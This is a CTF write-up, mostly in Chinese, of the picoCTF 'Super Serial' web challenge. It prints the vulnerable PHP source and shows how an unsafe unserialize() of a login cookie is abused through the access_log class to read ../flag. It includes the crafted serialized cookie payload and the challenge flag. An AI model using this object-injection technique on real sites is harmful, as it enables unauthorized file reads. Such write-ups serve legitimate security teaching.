PicoCTF - Super Serial

PicoCTF - Super Serial

tags: PicoCTF CTF Web

Background

php unserialization

Hint

  • The flag is at ../flag

Recon

這一題設了太多套路了,但從題目的Title可以猜到應該要用不安全的反序列化

  1. robot.txt 一開始會從這邊開始著手就是因為假的source code啥都沒有,本來也以為是sqli,但也沒收穫,看了WP才知道要從這邊開始,可以看到以下訊息,但副檔名居然不是一般的php而是phps(而且/admin.phps沒有任何東西),可見php是個幌子,則前面的source code就要重新分析

  2. index.phps 用index.phps查看source code發現有一些其他怪東西,包括authentication.phpscookie.php :::spoiler Real Source Code
     <?php
     require_once("cookie.php");
    
     if(isset($_POST["user"]) && isset($_POST["pass"])){
         $con = new SQLite3("../users.db");
         $username = $_POST["user"];
         $password = $_POST["pass"];
         $perm_res = new permissions($username, $password);
         if ($perm_res->is_guest() || $perm_res->is_admin()) {
             setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
             header("Location: authentication.php");
             die();
         } else {
             $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
         }
     }
     ?>
    
     <!DOCTYPE html>
     <html>
     <head>
     <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
     <link href="style.css" rel="stylesheet">
     <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
     </head>
         <body>
             <div class="container">
                 <div class="row">
                     <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                         <div class="card card-signin my-5">
                             <div class="card-body">
                                 <h5 class="card-title text-center">Sign In</h5>
                                 <?php if (isset($msg)) echo $msg; ?>
                                 <form class="form-signin" action="index.php" method="post">
                                     <div class="form-label-group">
                                         <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
                                         <label for="user">Username</label>
                                     </div>
    
                                     <div class="form-label-group">
                                         <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
                                         <label for="pass">Password</label>
                                     </div>
    
                                     <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
                                 </form>
                             </div>
                         </div>
                     </div>
                 </div>
             </div>
         </body>
     </html>
    
    

    :::

  3. authentication.phps :::spoiler Real Source Code
     <?php
    
     class access_log
     {
         public $log_file;
    
         function __construct($lf) {
             $this->log_file = $lf;
         }
    
         function __toString() {
             return $this->read_log();
         }
    
         function append_to_log($data) {
             file_put_contents($this->log_file, $data, FILE_APPEND);
         }
    
         function read_log() {
             return file_get_contents($this->log_file);
         }
     }
    
     require_once("cookie.php");
     if(isset($perm) && $perm->is_admin()){
         $msg = "Welcome admin";
         $log = new access_log("access.log");
         $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
     } else {
         $msg = "Welcome guest";
     }
     ?>
    
     <!DOCTYPE html>
     <html>
     <head>
     <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
     <link href="style.css" rel="stylesheet">
     <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
     </head>
         <body>
             <div class="container">
                 <div class="row">
                     <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                         <div class="card card-signin my-5">
                             <div class="card-body">
                                 <h5 class="card-title text-center"><?php echo $msg; ?></h5>
                                 <form action="index.php" method="get">
                                     <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                                 </form>
                             </div>
                         </div>
                     </div>
                 </div>
             </div>
         </body>
     </html>
    
    

    :::

  4. cookie.phps :::spoiler Real Source Code
     <?php
     session_start();
    
     class permissions
     {
         public $username;
         public $password;
    
         function __construct($u, $p) {
             $this->username = $u;
             $this->password = $p;
         }
    
         function __toString() {
             return $u.$p;
         }
    
         function is_guest() {
             $guest = false;
    
             $con = new SQLite3("../users.db");
             $username = $this->username;
             $password = $this->password;
             $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
             $stm->bindValue(1, $username, SQLITE3_TEXT);
             $stm->bindValue(2, $password, SQLITE3_TEXT);
             $res = $stm->execute();
             $rest = $res->fetchArray();
             if($rest["username"]) {
                 if ($rest["admin"] != 1) {
                     $guest = true;
                 }
             }
             return $guest;
         }
    
             function is_admin() {
                     $admin = false;
    
                     $con = new SQLite3("../users.db");
                     $username = $this->username;
                     $password = $this->password;
                     $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                     $stm->bindValue(1, $username, SQLITE3_TEXT);
                     $stm->bindValue(2, $password, SQLITE3_TEXT);
                     $res = $stm->execute();
                     $rest = $res->fetchArray();
                     if($rest["username"]) {
                             if ($rest["admin"] == 1) {
                                     $admin = true;
                             }
                     }
                     return $admin;
             }
     }
    
     if(isset($_COOKIE["login"])){
         try{
             $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
             $g = $perm->is_guest();
             $a = $perm->is_admin();
         }
         catch(Error $e){
             die("Deserialization error. ".$perm);
         }
     }
    
     ?>
    

    ::: 這一題的直覺是用不安全的反序列化達到LFI或是RCE,問題是要利用哪一個class,可以看到這幾個file中只有authentication.phps中的access_logcookie.phps中的permission,而考慮到hint提到flag的相對位置,代表應該可以確定是LFI的思路,則我們可以找有讀取file的class也就是access_log,另外authentication.phps也能單獨access,剩下的事情就簡單了,就construct一個exploit payload然後按照decode的順序反著做一次就可以了

Note: 我再講詳細一點好了,不管是index.phps或是authentication.phps都會在一開始require cookie.php,代表他會執行以下這段程式,並且進行反序列化,而會用到LFI的class method是在authentication.phps中,所以我們要訪問的網頁應該是這個,然後要創建login cookie是因為cookie.phps需要這個東西才會進入判斷式

1
2
3
4
5
6
7
8
9
10
if(isset($_COOKIE["login"])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        die("Deserialization error. ".$perm);
    }
}

Exploit - Unserialization

  1. php -a
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
     $ php -a
     Interactive mode enabled
    
     php > class access_log
     php > {
     php {     public $log_file;
     php {
     php {     function __construct($lf) {
     php {         $this->log_file = $lf;
     php {     }
     php {
     php {     function __toString() {
     php {         return $this->read_log();
     php {     }
     php {
     php {     function append_to_log($data) {
     php {         file_put_contents($this->log_file, $data, FILE_APPEND);
     php {     }
     php {
     php {     function read_log() {
     php {         return file_get_contents($this->log_file);
     php {     }
     php { }
     php > echo urlencode(base64_encode(serialize(new access_log("../flag"))));
     TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
    
  2. 建一個cookie然後access authentication.phps

Flag: picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}

Reference

picoCTF 2021 Super Serial